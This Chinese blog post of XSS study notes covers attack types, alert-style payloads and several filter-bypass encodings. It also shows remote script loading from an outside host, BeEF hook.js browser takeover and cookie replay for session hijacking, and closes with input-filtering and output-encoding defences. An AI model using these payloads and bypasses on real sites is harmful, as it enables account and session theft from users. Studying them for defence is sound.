首页 > 其他分享 >xss跨站脚本攻击

xss跨站脚本攻击

时间:2024-03-23 09:55:37浏览次数:27  
标签:脚本 xss 跨站 beef XSS alert js shellcode

xss(cross-site scripting)

本因为css,因与css样式重名所以更名为xss。xss主要基于js完成恶意攻击

XSS危害

盗取用户账号

窃取用户cookie,冒充用户身份进入网站

劫持用户会话,执行任意操作

刷流量,执行弹窗广告

传播蠕虫病毒

XSS漏洞验证

PoC(Proof of Concept,概念验证,漏洞验证)

EXP(漏洞的完整利用工具)

shellcode(利用漏洞时所执行的代码)

payload(攻击载荷)

  sqlmap  攻击代码的模板

  msf    类似shellcode,功能是建立与目标的连接

常用

<script>alert(/xss/)</script>

<script>confirm('xss')</script>

<script>prompt('xss')</script>

XSS分类

反射型XSS,存储型XSS,DOM型XSS

反射型XSS是非持久性,参数型的跨站脚本。反射型xss在web应用的参数中,如搜索框的反射型xss

存储型XSS是持久性跨站脚本。XSS代码不是在参数中,而是写进数据库或者文件等可以永久保存数据的地方

  存储型xss通常出现在留言板等地方,在留言板留言把数据写入数据库中。js代码的运行环境是浏览器,所以需要浏览器从服务器中载入恶意xss代码才能真正触发xss

DOM型XSS

  payload修改受害者浏览器页面的DOM树而执行的,不会上传到服务器,使得DOM型XSS比较难检测

XSS的构造

  利用<>构造html/js标签

    如<script>alert(/xss/)</script>

  伪协议

    可以使用javascript:伪协议方式构造xss

    javascript:alert(/xss);

    <a href="javascript:alert(/xss/)">touch me</a>

    <img src="javascript:alert(/xss/)">   (仅在ie6下测试成功)

  产生自己的事件

    在网页中会发生很多事件(比如鼠标移动,键盘输入等)。js可以对这些事件产生响应,所以我们可以通过事件来触发xss

    事件种类

      windows事件    对windows对象触发的事件

      Form事件      HTML表单内动作触发事件

      Keyboard事件    键盘按键

      Mouse事件      由鼠标或类似用户动作触发的事件

      Media事件       由多媒体触发的事件

      如:<img src="./smile.jpg" onm ouseover='alert(/xss/)'>当鼠标悬停在图片上时出现弹窗

        <input type="text" onkeydown="alert(/xss/)">

XSS的变形

  可以构造xss变形成各种形态绕过检测

  大小写转换:
    可以将payload进行大小写转换,如下面例子

      <Img sRc="./smile.jpg" onm ouseover='alert(/xss/)'>

  引号的使用:

    HTML对引号的使用不太敏感,但有些过滤函数很敏感

      <img src="./smile.jpg" onm ouseover="alert(/xss/)">

      <img src='./smile.jpg' onm ouseover='alert(/xss/)'>

      <img src=./smile.jpg onm ouseover=alert(/xss/)>

  '/'代替空格

    利用左斜线代替空格

      <img/src='./smile.jpg'/onmouseover='alert(/xss/)'>

  回车

    我们可以在一些位置添加tab和回车符来绕过关键字检测

      <a href="j
                a
                v
                a
                script:alert(/xss/)">touch me</a>

 

  对标签属性值进行转码

    可以对标签属性值进行转码来绕过检测(html实体编码)

      <a href="j&#97;&#118;&#97;script:alert(/xss/)">t</a>

    可以将以下字符插入任意位置

      Tab  &#9;

      换行   &#10;

      回车   &#13;

    可以将以下字符插入到头部

      SOH  &#01;

      STX    &#02;

  拆分跨站

    <script>z='alert'</script>

    <script>z=z+'/xss/'</script>

    <script>eval(z)</script>

  双写绕过

    一次过滤的双写绕过

    <scri<script>pt>alert(/xss/)</sc</script>ript>

shellcode的调用

  shellcode就是在利用漏洞所执行的代码

  完整的xss攻击会将shellcode存放在一定的地方,然后触发漏洞,调用shellcode

  远程调用js:

    可以将js代码单独放在一个js文件中,然后通过http协议远程加载脚本

      如<script src="http://10.10.1.178/xss-test/xss.js"></script>

  windows.location.hash

    使用js中的windows.location.hash方法获取url地址栏中的xss代码

    windows.location.hash会获取url中#后面的内容,如http://domain.com/index.php#adjust,windows.location.hash的值就是adjust

    可以构造如下代码[ ?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/xss/) ]

  XSS Downloader

    xss下载器是将xss代码写到网页中,然后通过ajax技术取得网页中的xss代码

    在使用xss downloader之前我们需要一个自己的页面,xss_downloader.php,内容: ~~~BOF|alert(/xss/)|EOF~~~

备选存储技术

  shellcode还可以存储在客户端的本地域中,如HTTP Cookie、Flash 共享对象、UserData、localStorage等

XSS的防御

  使用xss filter过滤用户提交的有害信息从而达到防范xss攻击的效果

    输入过滤,对用户输入的内容进行严格的过滤

      输入验证:对用户输入的信息进行严格认证,仅接受合法的数据

        输入是否仅包含合法的字符

        输入字符串是否超过了最大长度限制

        输入如果为数字,数字是否在指定的范围

        输入是否符合特殊的格式要求,如e-mail地址,ip地址等

      数据消毒

        过滤和净化掉有毒的输入

      输出编码

        html编码主要对应html实体,用编码代替字符

      黑白名单

        黑白单:非允许数据

        白名单:允许的数据

  

beef(集成在kali里)

  xss漏洞利用平台

  beef的启动

    工具目录:/usr/share/beef-xss

    启动beef

    sh

      ./beef或者beef-xss

    修改默认用户名和密码

      vim /usr/share/beef-xss/config.yaml

    web界面管理控制台

      localhost:3000/ui/panel

    ShellCode

      localhost:3000/hook.js

    测试页面

      localhost:3000/demos/butcher/index.html

    当有人访问hook.js或者测试页面的时候,就会上线。可以对已上线主机读取信息以及进行命令操作

  

  cookie的窃取与欺骗(固定会话攻击)

    (已经窃取到的cookie)data:  cookie=username=admin; userid=1

     在自己浏览器运行js:

        document.cookie="username=admin";

        document.cookie="userid=1";

标签:脚本,xss,跨站,beef,XSS,alert,js,shellcode
From: https://www.cnblogs.com/dg05/p/17756830.html

相关文章

  • Vue和SpringBoot实现的通用商城系统,高质量毕业论文范例,附送源码、数据库脚本,项目导入
    1.项目技术栈前端必学三个基础:“HTML、CSS、JS”,基本每个B/S架构项目都要用到,基础中的基础。此外项目页面使用Vue等前端框架技术。后端使用Java主流的框架 SpringBoot,使用MySQL数据库,是一个JavaWEB进阶学习的好资源。2.适合对象Java初学者、Java课题设计、Java毕业设......
  • Shell 中 $ 关于脚本参数的几种用法
    基本语法$n   (功能描述:n为数字,$0代表该脚本名称,$1-$9代表第一到第九个参数,十以上的参数,十以上的参数需要用大括号包含,如${10})$#   (功能描述:获取所有输入参数个数,常用于循环)。$*   (功能描述:这个变量代表命令行中所有的参数,$*把所有的参数看成一个整体)$@ (功能描......
  • 【Python脚本随手笔记】 ---基于鸿蒙系统LiteOS实现差分编译脚本(下篇)
    ......
  • mysql使用mysqldump.exe导出为sql脚本,进行导入时出现ERROR 1227 (42000) at line 18:
    mysql使用mysqldump.exe导出为sql脚本,进行导入时出现ERROR1227(42000)atline18:Accessdenied;youneed(atleastoneof)theSUPERorSYSTEM_VARIABLES_ADMINprivilege(s)forthisoperation。Warning:ApartialdumpfromaserverthathasGTIDswillbydefaul......
  • UEditor-结合XML文件上传导致的存储型XSS
    1、在某学校的考试系统的事故案例->添加新文章2、由于该编辑器为UEditor,并根据版本信息可联系到历史爆出过漏洞,在.NET开发的版本可通过木马文件上传进行getshell;但又由于此处为php语言开发,只能上传xml文件,于是思路转变成xml文件上传+XSS组合拳的方式进行测试。3、先构造一个te......
  • Python安全脚本之自动化子域名收集
    声明:本工具仅用于日常学习使用,禁止用于非法域名收集,否则后果由使用者承担!!!在信息收集中少不了一些脚本的辅助,本文将讲解如何编写一个自动化子域名收集脚本代码及注释如下:fromconcurrent.futuresimport*importrequestsbanner='''_________......
  • 若依基本框架内容介绍、多数据源配置、命令、自定义打包脚本
    若依是一个能够帮助我们快速搭建一个管理平台的开发框架官网地址:https://doc.ruoyi.vip/ruoyi/ 一、基本框架内容介绍二、多数据源配置三、命令、自定义打包脚本 一、基本框架内容1.文件结构Common:用的比较多的是utils包中的工具(处理字符串、日期、获取ip、发送请求、......
  • 如何在Docker容器启动时自动运行脚本
    本文分享自华为云社区《如何在Docker容器启动时自动运行脚本》,作者:皮牙子抓饭。如何在Docker容器启动时自动运行脚本在使用Docker构建应用程序时,有时我们希望在启动Docker容器时自动执行一些脚本,以初始化应用程序或执行一些必要的操作。本文将介绍如何在Docker容器启动时自......
  • 在win系统上虚拟Mac电脑发送iMessage脚本,实现高效群发
    随着现代社会的快速发展,我们时常需要向多个人发送相同的信息,无论是工作通知、活动邀请还是节日祝福。手动一个个发送不仅效率低下,而且容易出错。为此,我们研发了一款适用于Mac虚拟机的iMessage群发脚本,让您的沟通更加高效、便捷。以下是一个简单的脚本示例:importtimefrompyime......
  • XSS 从 PDF 中窃取数据
    XSS从PDF中窃取数据将服务器端XSS注入到动态生成的PDF中在hackthebox的Book机器(ScriptingTrack)上,我遇到了一个Web应用程序,它使用用户控制的输入来生成PDF文件。用户输入输入,下载时该输入将呈现为PDF文件。我从阅读许多文章中意识到与动态生成的PDF相关的......